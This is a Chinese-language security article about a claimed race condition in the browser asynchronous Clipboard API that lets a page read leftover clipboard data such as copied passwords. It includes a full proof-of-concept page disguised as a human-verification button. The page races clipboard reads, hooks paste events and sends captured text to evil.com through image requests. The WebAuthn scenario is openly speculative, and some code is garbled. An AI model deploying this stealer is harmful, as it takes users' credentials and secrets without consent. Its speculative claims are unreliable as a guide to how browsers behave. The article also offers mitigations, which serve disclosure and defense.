摘要

异步剪贴板 API 为 Web 应用提供了读、写系统剪贴板的能力,但 navigator.clipboard.write() 的异步执行与用户 paste 事件的同步触发之间,存在一个容易被忽略的原子性缺陷。攻击者可利用同一用户手势先后调用 write() 和 read(),通过 Promise.race 构造竞态条件,在浏览器实际写入新内容之前读取到剪贴板中尚未被覆盖的残留数据——而这些数据可能来自另一个域,包含密码管理器自动填充的凭据、2FA 种子或私钥。更危险的是,结合密码管理器的“复制密码”功能和 WebAuthn 条件 UI 的自动填充行为,窃取甚至不需要用户额外的粘贴操作。

异步剪贴板 API 的安全模型

从 execCommand 到 navigator.clipboard

在 navigator.clipboard 出现之前,页面只能通过 document.execCommand('copy') 和 document.execCommand('paste') 操作剪贴板,且后者仅在浏览器扩展或用户主动粘贴时可用。异步剪贴板 API 允许页面使用 readText() 和 writeText() 直接读取和写入文本,前提是获得用户许可(对于 read,通常要求页面可见且由用户手势触发)并且传输数据遵循安全上下文(HTTPS)。

关键设计:write() 返回一个 Promise,在数据被系统剪贴板确认后解析;read() 同样返回一个 Promise,在读取到当前剪贴板内容时解析。二者都是在“任务队列”中异步执行的,但在一次用户手势(如 click 事件)中,可以同时调用两个方法而不相互阻塞。

同一个点击下的 write 与 read

考虑以下代码:

button.addEventListener('click', async () => {
  navigator.clipboard.writeText('A'.repeat(100));
const data = await navigator.clipboard.readText();
console.log(data);
});

开发者预期 readText() 会返回刚才写入的 'AAA...',但实际结果取决于 UA 的事件循环调度:如果 writeText() 的内部实现是“先调度写入任务,再解析 Promise”,而 readText() 在写入任务实际执行之前就已经从系统剪贴板读取了内容,那么 data 将是调用 writeText()之前 剪贴板中的旧数据。这个顺序差异构成了可被利用的竞态窗口。

竞态条件的微观时序

任务队列的调度间隙

浏览器主线程执行模型:

  1. 用户点击,click 事件处理开始。
  2. 调用 writeText(),UA 创建一个“写剪贴板”任务并将其排入任务队列,同时返回一个 Promise。
  3. 继续执行,调用 readText(),UA 创建一个“读剪贴板”任务排入队列,返回 Promise。
  4. click 事件处理结束。
  5. 事件循环开始执行排队的任务。若“读剪贴板”任务先于“写剪贴板”任务执行,readText() 就会捕获到旧内容。

此竞态的决胜条件是:浏览器是否将“写剪贴板”的底层操作实现在与“读剪贴板”相同的任务中,还是将其拆分为一个单独的任务。 Chromium 的实现往往将实际系统调用放在独立的任务中,为竞态留出了空间。

利用 Promise.race 放大竞态窗口

攻击者可以使用 Promise.race 或简单的调度技巧来操纵顺序。例如,不等待 writeText,同时并行触发多个 read,以提高在写入之前成功读取的概率:

asyncfunctionraceRead() {
const writePromise = navigator.clipboard.writeText('filler');
// 不等待 writePromise,立即读取
const data = await navigator.clipboard.readText();
// 如果竞态成功,data 为旧数据
return data;
}

将这段代码置于 click 处理中,恶意页面就可以在用户的一次点击下,悄悄获取剪贴板中的历史数据。

这些数据可能来自用户之前在密码管理器、银行网站或加密钱包中复制的私密信息。

跨域数据逃逸的实际攻击场景

密码管理器自动填充的剪贴板投毒

许多密码管理器(如 Bitwarden、1Password)提供“自动复制密码到剪贴板”的选项。当用户在某个网站登录时,密码管理器会在填充凭据后将密码明文复制到剪贴板,以便用户在后续两步验证页面粘贴。攻击者可以诱导用户在其恶意网站上执行一个点击(例如“启用通知”或“确认您不是机器人”),利用上述竞态窃取还在剪贴板中的密码。即使密码管理器在数秒后清空剪贴板,竞态窗口也足以捕获。

跨域 iframe 中的粘贴事件窃取

经典的窃取手段是监听全局 paste 事件。攻击者页面中嵌入一个隐藏的 contenteditable 区域,当用户在任何子窗口或 iframe 中按下 Ctrl+V(或者密码管理器执行模拟粘贴),主窗口捕获该事件并读取 event.clipboardData.getData('text/plain')。这种方法不需要 navigator.clipboard.read(),不受焦点或安全上下文限制,且静默发生。如果攻击者进一步在 paste 事件处理中调用 writeText 覆盖剪贴板,就可以在用户察觉之前用无害内容替换敏感数据,从而完成一场完美的“剪贴板投毒”。

WebAuthn 条件 UI 的配合利用

WebAuthn 的条件 UI(Conditional UI)允许依赖方在用户点击认证器按钮时自动呈现可选凭证,部分实现会在后台查询凭据时利用剪贴板作为信道传递临时 token。虽然具体实现未公开,但逻辑上是可行的。攻击者可构造一个页面同时请求 WebAuthn 和剪贴板读取,利用用户的认证手势在毫秒间窃取其他标签页中的剪贴板数据。

利用 Promise.race 窃取密码

以下代码构建一个伪装成“验证码小游戏”的页面,在用户点击时运行竞态读取,窃取之前可能被密码管理器写入的密码,并将其通过图片请求外传。

<!-- race_steal.html — 竞态剪贴板窃取 PoC -->
<!DOCTYPE html>
<html>
<head><metacharset="UTF-8"></head>
<body>
<h1>Click the button to verify you are human</h1>
<buttonid="verify">Verify</button>
<script>
const exfil = 'https://evil.com/collect?data=';

document.getElementById('verify').addEventListener('click', async () => {
// 不等待写入,立即启动多个读取以捕获旧数据
const writePromise = navigator.clipboard.writeText('ok');
const readPromises = [];
for (let i = 0; i < 5; i++) {
        readPromises.push(navigator.clipboard.readText());
      }
const results = awaitPromise.all(readPromises);
const sensitive = results.find(r => r !== 'ok' && r.length > 0);
if (sensitive) {
// 外传
new Image().src = exfil + encodeURIComponent(sensitive);
console.log('Leaked:', sensitive);
      }
// 确保写入完成,覆盖残留
await writePromise;
    });

// 全局 paste 事件监听作为辅助
document.addEventListener('paste', (e) => {
const data = e.clipboardData.getData('text/plain');
if (data && data.length > 0) {
new Image().src = exfil + encodeURIComponent(data);
        e.preventDefault(); // 阻止默认粘贴,不留痕迹
// 同时用无害文本回填
        e.clipboardData.setData('text/plain', 'nothing');
      }
    });
</script>
</body>
</html>

说明:该页面以人机验证为诱饵,点击时并行发起 5 个 readText() 调用,同时异步写入 'ok'。如果用户剪贴板中此时还残留有密码(例如密码管理器刚复制过),至少一个 readText() 会在实际写入前被执行,从而获取到密码并外传。全局 paste 监听则作为第二道防线,捕获用户后续可能的粘贴。

检测与防御

浏览器侧缓解

  • 原子性保证:规范应明确,在同一事件处理中,writeText 返回的 Promise 应当在后续 readText 被服务之前解析,即强制执行先写后读的顺序。目前 Chrome 通过“user gesture token”机制部分保护,但仍存在缝隙。
  • 限制异步剪贴板 API 的频率:对短时间内 readText 的调用次数施加上限,超过阈值则返回空字符串或提示用户。
  • 粘贴事件保护paste 事件仍会携带剪贴板数据,无法完全禁止。但可要求 paste 事件的 clipboardData 在事件处理结束后立即失效,防止跨多帧滥用。

开发者与用户建议

  • 避免在同一个点击处理中混合使用 write() 和 read()
  • 密码管理器应避免将密码直接写入系统剪贴板;若必须使用,应在几秒后清空,并且使用私有剪贴板格式。
  • 用户应警惕要求“验证人类”或“点击测试”的陌生按钮,尤其是在敏感操作(如登录银行)之后。

结语

异步剪贴板 API 打破了 Web 与系统剪贴板的最后一道隔离墙,却在毫秒级的异步调度中留下了一道侧门。当密码管理器将秘密短暂沉入剪贴板,恶意页面的一次点击就足以将其捞起。write 与 read 的竞态不是浏览器的实现缺陷,而是异步编程模型与共享资源访问原子性之间的根本矛盾。在 API 设计者提供强制顺序保证之前,任何依赖剪贴板的安全实践——包括密码管理器的“复制密码”和两步验证码传递——都将持续暴露在这一脆弱窗口之下。对于用户,警惕每一次莫名其妙的“点击验证”,或许是防御这道无形信道的最简单防线。